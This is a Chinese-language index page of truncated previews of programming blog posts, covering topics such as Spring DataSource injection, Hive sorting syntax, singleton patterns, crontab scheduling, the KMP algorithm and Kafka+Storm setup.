  • UI设计中我们为什么需要设计动效 brotherlamp UIui教程ui视频ui资料ui自学
    随着国际大品牌苹果和谷歌的引领，最近越来越多的国内公司开始关注动效设计了，越来越多的团队已经意识到动效在产品用户体验中的重要性了，更多的UI设计师们也开始投身动效设计领域。 但是说到底，我们到底为什么需要动效设计？或者说我们到底需要什么样的动效？做动效设计也有段时间了，于是尝试用一些案例，从产品本身出发来说说我所思考的动效设计。 一、加强体验舒适度 嗯，就是让用户更加爽更加爽的用你的产品。
  • Spring中JdbcDaoSupport的DataSource注入问题 bylijinnan javaspring
    参考以下两篇文章： http://www.mkyong.com/spring/spring-jdbctemplate-jdbcdaosupport-examples/ http://stackoverflow.com/questions/4762229/spring-ldap-invoking-setter-methods-in-beans-configuration Sprin
  • 数据库连接池的工作原理 chicony 数据库连接池
           随着信息技术的高速发展与广泛应用，数据库技术在信息技术领域中的位置越来越重要，尤其是网络应用和电子商务的迅速发展，都需要数据库技术支持动 态Web站点的运行，而传统的开发模式是：首先在主程序（如Servlet、Beans）中建立数据库连接；然后进行SQL操作，对数据库中的对象进行查 询、修改和删除等操作；最后断开数据库连接。使用这种开发模式，对
  • java 关键字 CrazyMizzz java
    关键字是事先定义的，有特别意义的标识符，有时又叫保留字。对于保留字，用户只能按照系统规定的方式使用，不能自行定义。 Java中的关键字按功能主要可以分为以下几类：    （1）访问修饰符       public,private,protected       p
  • Hive中的排序语法 daizj 排序hiveorder byDISTRIBUTE BYsort by
    Hive中的排序语法 2014.06.22 ORDER BY hive中的ORDER BY语句和关系数据库中的sql语法相似。他会对查询结果做全局排序，这意味着所有的数据会传送到一个Reduce任务上，这样会导致在大数量的情况下，花费大量时间。 与数据库中 ORDER BY 的区别在于在hive.mapred.mode = strict模式下，必须指定 limit 否则执行会报错。
  • 单态设计模式 dcj3sjt126com 设计模式
      单例模式（Singleton）用于为一个类生成一个唯一的对象。最常用的地方是数据库连接。 使用单例模式生成一个对象后，该对象可以被其它众多对象所使用。 <?phpclass Example{    // 保存类实例在此属性中    private static&
  • svn locked dcj3sjt126com Lock
    post-commit hook failed (exit code 1) with output: svn: E155004: Working copy 'D:\xx\xxx' locked svn: E200031: sqlite: attempt to write a readonly database svn: E200031: sqlite: attempt to write a
  • ARM寄存器学习 e200702084 数据结构C++cC#F#
    无论是学习哪一种处理器，首先需要明确的就是这种处理器的寄存器以及工作模式。     ARM有37个寄存器，其中31个通用寄存器，6个状态寄存器。 1、不分组寄存器（R0-R7）     不分组也就是说说，在所有的处理器模式下指的都时同一物理寄存器。在异常中断造成处理器模式切换时，由于不同的处理器模式使用一个名字相同的物理寄存器，就是
  • 常用编码资料 gengzg 编码
    List<UserInfo> list=GetUserS.GetUserList(11); String json=JSON.toJSONString(list); HashMap<Object,Object> hs=new HashMap<Object, Object>(); for(int i=0;i<10;i++) {
  • 进程 vs. 线程 hongtoushizi 线程linux进程
    我们介绍了多进程和多线程，这是实现多任务最常用的两种方式。现在，我们来讨论一下这两种方式的优缺点。 首先，要实现多任务，通常我们会设计Master-Worker模式，Master负责分配任务，Worker负责执行任务，因此，多任务环境下，通常是一个Master，多个Worker。 如果用多进程实现Master-Worker，主进程就是Master，其他进程就是Worker。 如果用多线程实现
  • Linux定时Job：crontab -e 与 /etc/crontab 的区别 Josh_Persistence linuxcrontab
    一、linux中的crotab中的指定的时间只有5个部分：* * * * * 分别表示：分钟，小时，日，月，星期，具体说来： 第一段 代表分钟 0—59 第二段 代表小时 0—23 第三段 代表日期 1—31 第四段 代表月份 1—12 第五段 代表星期几，0代表星期日 0—6   如： */1 * * * *   每分钟执行一次。 *
  • KMP算法详解 hm4123660 数据结构C++算法字符串KMP
         字符串模式匹配我们相信大家都有遇过，然而我们也习惯用简单匹配法（即Brute-Force算法)，其基本思路就是一个个逐一对比下去，这也是我们大家熟知的方法，然而这种算法的效率并不高，但利于理解。       假设主串s="ababcabcacbab",模式串为t="
  • 枚举类型的单例模式 zhb8015 单例模式
    E.编写一个包含单个元素的枚举类型[极推荐]。代码如下： public enum MaYun {himself; //定义一个枚举的元素，就代表MaYun的一个实例private String anotherField;MaYun() {//MaYun诞生要做的事情//这个方法也可以去掉。将构造时候需要做的事情放在instance赋值的时候：/** himself = MaYun() {*
  • Kafka+Storm+HDFS ssydxa219 storm
    cd /myhome/usr/stormbin/storm nimbus &amp;bin/storm supervisor &amp;bin/storm ui &amp;Kafka+Storm+HDFS整合实践kafka_2.9.2-0.8.1.1.tgzapache-storm-0.9.2-incubating.tar.gzKafka安装配置我们使用3台机器搭建Kafk
  • Java获取本地服务器的IP 中华好儿孙 javaWeb获取服务器ip地址
    System.out.println("getRequestURL:"+request.getRequestURL()); System.out.println("getLocalAddr:"+request.getLocalAddr()); System.out.println("getLocalPort:&quo
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他